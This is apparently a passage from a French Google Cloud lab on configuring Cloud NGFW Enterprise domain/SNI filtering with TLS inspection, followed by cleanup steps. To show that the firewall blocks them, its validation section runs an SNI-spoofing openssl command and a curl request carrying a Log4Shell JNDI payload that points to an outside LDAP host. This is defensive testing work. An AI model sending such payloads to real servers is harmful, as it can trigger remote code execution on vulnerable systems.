
Créez un pool d'autorités de certification. Cette ressource sera utilisée pour héberger le certificat de l'autorité de certification racine que nous générons pour NGFW Enterprise.

gcloud privateca pools create $prefix-CA-Pool --project=$project_id --location=$region --tier=devops

Créez l'autorité de certification racine. Il s'agit du certificat d'autorité de certification qui sera utilisé pour signer des certificats supplémentaires pour les demandes via NGFW Enterprise.

gcloud privateca roots create $prefix-CA-Root --project=$project_id --location=$region --pool=$prefix-CA-Pool --subject="CN=NGFW Enterprise Test CA 2, O=Google NGFW Enterprise Domain/SNI"

Si le message ci-dessous s'affiche, répondez y :

The CaPool [ngfw-enterprise-CA-Pool] has no enabled CAs and cannot issue any certificates until at least one CA is enabled. Would you like to also enable this CA?

Do you want to continue (y/N)? 

Créez un compte de service. Ce compte de service sera utilisé pour demander des certificats pour NGFW Enterprise :

gcloud beta services identity create --service=networksecurity.googleapis.com --project=$project_id

Définissez les autorisations IAM pour le compte de service :

gcloud privateca pools add-iam-policy-binding $prefix-CA-Pool --project=$project_id --location=$region --member=serviceAccount:service-$project_number@gcp-sa-networksecurity.iam.gserviceaccount.com --role=roles/privateca.certificateRequester

Créez le fichier YAML de la règle TLS. Ce fichier contient des informations sur les ressources spécifiques :

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
EOF

Importez la règle d'inspection TLS :

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

Mettez à jour l'association de points de terminaison pour activer TLS :

gcloud network-security firewall-endpoint-associations update $prefix-association --zone=$zone --project=$project_id --tls-inspection-policy=$prefix-tls-policy --tls-inspection-policy-project=$project_id --tls-inspection-policy-region=$region

Obtenez le certificat de l'autorité de certification et ajoutez-le au magasin d'autorités de certification du client. Cela est nécessaire pour la confiance, car NGFW Enterprise établirait TLS et présenterait le certificat signé du pool d'autorités de certification :

gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" >> $prefix-CA-Root.crt

Transférez le certificat CA au client :

gcloud compute scp --tunnel-through-iap  $prefix-CA-Root.crt  $prefix-$zone-client:~/  --zone=$zone

Connectez-vous en SSH à la VM, déplacez le certificat CA vers /usr/local/share/ca-certificates et mettez à jour le magasin de certificats CA :

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

sudo mv domain-sni-CA-Root.crt /usr/local/share/ca-certificates/

sudo update-ca-certificates

Quittez la VM et continuez sur Cloud Shell.

Mettre à jour la règle de pare-feu pour l'inspection TLS

gcloud compute network-firewall-policies rules update 300 --action=apply_security_profile_group --firewall-policy=$prefix-fwpolicy  --global-firewall-policy --direction=EGRESS --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg --layer4-configs=tcp:80,tcp:443 --dest-ip-ranges=0.0.0.0/0 --enable-logging --tls-inspect

Valider les règles avec l'inspection TLS

Établissez une connexion SSH à la VM via IAP :

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Envoyez les exemples de requêtes aux destinations autorisées :

curl https://wikipedia.org --max-time 2
curl https://ifconfig.me --max-time 2

Elles devraient être acceptées sans problème. Si nous souhaitons examiner le certificat et confirmer s'il est signé par le NGFW, nous pouvons exécuter la commande suivante :

curl https://ifconfig.me --max-time 2 -vv

Résultat attendu :

admin@domain-sni-us-west1-a-client:~$ curl https://ifconfig.me --max-time 2 -vv
*   Trying 34.160.111.145:443...
* Connected to ifconfig.me (34.160.111.145) port 443 (#0)
* ALPN: offers h2,http/1.1
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
*  CAfile: /etc/ssl/certs/ca-certificates.crt
*  CApath: /etc/ssl/certs
* TLSv1.3 (IN), TLS handshake, Server hello (2):
* TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):
* TLSv1.3 (IN), TLS handshake, Certificate (11):
* TLSv1.3 (IN), TLS handshake, CERT verify (15):
* TLSv1.3 (IN), TLS handshake, Finished (20):
* TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):
* TLSv1.3 (OUT), TLS handshake, Finished (20):
* SSL connection using TLSv1.3 / TLS_AES_256_GCM_SHA384
* ALPN: server did not agree on a protocol. Uses default.
* Server certificate:
*  subject: CN=ifconfig.me
*  start date: Sep 20 07:05:42 2025 GMT
*  expire date: Sep 21 06:58:10 2025 GMT
*  subjectAltName: host "ifconfig.me" matched cert's "ifconfig.me"
*  issuer: CN=Google Cloud Firewall Intermediate CA ID#5226903875461534691
*  SSL certificate verify ok.
* using HTTP/1.x
> GET / HTTP/1.1
> Host: ifconfig.me
> User-Agent: curl/7.88.1
> Accept: */*
> 
* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):
< HTTP/1.1 200 OK
< Content-Length: 10
< access-control-allow-origin: *
< content-type: text/plain
< date: Sat, 20 Sep 2025 07:05:43 GMT
< via: 1.1 google
< Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
< 
* Connection #0 to host ifconfig.me left intact
x.x.x.x

Dans le résultat ci-dessus, nous pouvons voir que la requête est inspectée par NGFW Enterprise via TLS, car le certificat reçu est signé par l'autorité de certification racine que nous avons créée précédemment. (champ de l'émetteur)

Valider les règles qui tentent d'usurper le SNI avec l'inspection TLS

Validons maintenant le comportement une fois l'inspection TLS activée.

Exécutez la commande openssl suivante pour usurper le SNI :

openssl s_client -connect www.google.com:443 -servername ifconfig.me

Résultat attendu :

CONNECTED(00000003)
write:errno=104
---
no peer certificate available
---
No client certificate CA names sent
---
SSL handshake has read 0 bytes and written 317 bytes
Verification: OK
---
New, (NONE), Cipher is (NONE)
Secure Renegotiation IS NOT supported
Compression: NONE
Expansion: NONE
No ALPN negotiated
Early data was not sent
Verify return code: 0 (ok)
---

Dans le résultat ci-dessus, nous constatons qu'une requête d'usurpation SNI qui fonctionnait auparavant échoue désormais lorsque l'inspection TLS est activée. En effet, lorsque l'inspection TLS est activée, NGFW compare le SNI au nom alternatif de l'objet (SAN) du certificat du serveur. Si ce n'est pas le cas, le handshake TLS échouera.

Valider le domaine/SNI et la protection contre les menaces avec l'inspection TLS

Nous allons maintenant réexécuter le test précédent pour une requête malveillante (log4j) vers un domaine autorisé.

Envoyez l'échantillon malveillant (log4j) à une destination de domaine/SNI autorisée :

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2 

Résultat attendu :

000

Ce code de réponse 000 est dû au fait que la connexion a été interrompue par le NGFW, car une menace a été détectée. Nous pouvons recueillir des informations plus détaillées pour confirmer.

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2 -vv

Résultat attendu :

*   Trying 89.238.73.97:443...
* Connected to www.eicar.org (89.238.73.97) port 443 (#0)
* ALPN: offers h2,http/1.1
} [5 bytes data]
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
} [512 bytes data]
*  CAfile: /etc/ssl/certs/ca-certificates.crt
*  CApath: /etc/ssl/certs
{ [5 bytes data]
* TLSv1.3 (IN), TLS handshake, Server hello (2):
{ [122 bytes data]
* TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):
{ [6 bytes data]
* TLSv1.3 (IN), TLS handshake, Certificate (11):
{ [3423 bytes data]
* TLSv1.3 (IN), TLS handshake, CERT verify (15):
{ [80 bytes data]
* TLSv1.3 (IN), TLS handshake, Finished (20):
{ [52 bytes data]
* TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):
} [1 bytes data]
* TLSv1.3 (OUT), TLS handshake, Finished (20):
} [52 bytes data]
* SSL connection using TLSv1.3 / TLS_AES_256_GCM_SHA384
* ALPN: server did not agree on a protocol. Uses default.
* Server certificate:
*  subject: CN=www.eicar.org
*  start date: Sep 20 07:50:20 2025 GMT
*  expire date: Sep 21 10:41:22 2025 GMT
*  subjectAltName: host "www.eicar.org" matched cert's "www.eicar.org"
*  issuer: CN=Google Cloud Firewall Intermediate CA ID#4044393130040997148
*  SSL certificate verify ok.
* using HTTP/1.x
} [5 bytes data]
> GET / HTTP/1.1
> Host: www.eicar.org
> Accept: */*
> User-Agent: ${jndi:ldap://123.123.123.123:8055/a}
> 
* Recv failure: Connection reset by peer
* OpenSSL SSL_read: Connection reset by peer, errno 104
* Closing connection 0
} [5 bytes data]
* Send failure: Broken pipe
000

Nous voyons ci-dessus que le NGFW a effectué une inspection TLS et bloqué la requête malveillante.

Quittez la VM :

exit

Passez à la section suivante pour connaître les étapes de nettoyage.

19. Étapes de nettoyage

Nettoyage de la configuration de base

Supprimez les instances :

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

Supprimez la stratégie de réseau et l'association du pare-feu cloud :

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

Supprimez le routeur Cloud Router et Cloud NAT :

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

Supprimez les adresses IP réservées :

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

Nettoyage des groupes de règles de service Cloud Firewall et des associations

Supprimez le groupe de profils de sécurité et le profil de filtrage des menaces et des URL dans cet ordre :

gcloud -q network-security security-profile-groups delete \
  $prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles url-filtering \
  delete $prefix-sp \
  --organization $org_id \
  --location=global

Supprimez l'association de point de terminaison de pare-feu cloud :

gcloud -q network-security firewall-endpoint-associations delete \
  $prefix-association --zone $zone

Supprimez le point de terminaison Cloud Firewall, ce qui peut prendre environ 20 minutes :

gcloud -q network-security firewall-endpoints delete $prefix-$zone --zone=$zone --organization $org_id

Vous pouvez également vérifier que le point de terminaison Cloud NGFW a été supprimé en exécutant la commande ci-dessous :

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

L'état du point de terminaison doit être le suivant :

STATE: DELETING

Une fois l'opération terminée, le point de terminaison ne sera plus listé.

[Facultatif] Nettoyage TLS

Si vous avez effectué les configurations facultatives d'inspection TLS, exécutez les commandes ci-dessous pour nettoyer les ressources TLS.

Supprimez la règle TLS :

gcloud -q network-security tls-inspection-policies delete \
  $prefix-tls-policy \
  --location=$region

Désactivez et supprimez l'autorité de certification racine et le pool d'autorités de certification :

gcloud -q privateca roots disable $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --ignore-dependent-resources 

gcloud -q privateca roots delete $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --skip-grace-period \
  --ignore-active-certificates \
  --ignore-dependent-resources

gcloud -q privateca pools delete $prefix-CA-Pool \
  --location=$region \
  --ignore-dependent-resources

Nettoyage des sous-réseaux et du VPC

Enfin, supprimez le sous-réseau et le réseau VPC :

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

20. Conclusion et points à prendre en compte

Cet atelier est très simple et ne teste qu'une seule VM se connectant à Internet. Dans des scénarios réels, le VPC peut contenir plusieurs ressources, avec du trafic circulant dans toutes les directions (N/S et E/O). Étant donné que la règle de pare-feu pour le filtrage de domaine/SNI est une règle EGRESS 0.0.0.0/0, elle est "générale" et DOIT être configurée comme la règle de priorité la plus basse dans la règle de réseau. Sinon, le trafic correspondrait de manière inattendue et serait autorisé/refusé en fonction de la règle urlFiltering par défaut.

En outre, pensez à utiliser les types de réseau pour limiter le champ d'application. Cela permet d'empêcher le trafic E/W de correspondre à la règle. Vous pouvez également créer une règle d'autorisation de priorité plus élevée pour le trafic E/W.

Veuillez consulter le document sur les bonnes pratiques qui traite plus en détail du filtrage des domaines/SNI.

21. Félicitations !

Félicitations, vous avez terminé l'atelier "Cloud NGFW Enterprise pour le filtrage de domaine et SNI avec inspection TLS facultative" !